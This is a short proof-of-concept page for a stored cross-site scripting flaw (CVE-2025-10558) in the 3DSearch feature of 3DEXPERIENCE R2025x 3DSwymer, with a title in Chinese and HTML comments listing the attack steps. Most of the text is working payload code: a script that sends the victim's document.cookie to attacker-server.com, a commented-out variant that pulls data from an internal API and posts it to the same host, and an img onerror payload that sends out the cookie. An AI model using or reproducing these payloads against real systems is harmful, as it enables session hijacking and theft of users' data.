CVE-2025-10558：3DEXPERIENCE R2025x 3DSwymer存储型XSS漏洞

<!-- CVE-2025-10558 Stored XSS PoC for 3DSearch in 3DSwymer --> <!-- This PoC demonstrates a stored XSS attack via the 3DSearch functionality --> <!-- Step 1: Attacker logs in with low-privilege account --> <!-- Step 2: Attacker submits a malicious payload through 3DSearch input field --> <!-- Malicious payload example (to be injected into search input or related fields): --> <script> // Steal session cookie and send to attacker's server var cookie = document.cookie; var img = new Image(); img.src = 'https://attacker-server.com/steal?cookie=' + encodeURIComponent(cookie); // Or perform actions on behalf of the victim // fetch('/api/sensitive-endpoint', { credentials: 'include' }) // .then(r => r.json()) // .then(data => { // fetch('https://attacker-server.com/exfil', { // method: 'POST', // body: JSON.stringify(data) // }); // }); </script> <!-- Alternative payload using event handlers --> <img src=x onerror="fetch('https://attacker-server.com/steal?cookie='+document.cookie)"> <!-- Step 3: Malicious payload is stored on the server --> <!-- Step 4: When victim views the search results page, payload executes in their browser --> <!-- Step 5: Attacker receives victim's session data or performs unauthorized actions -->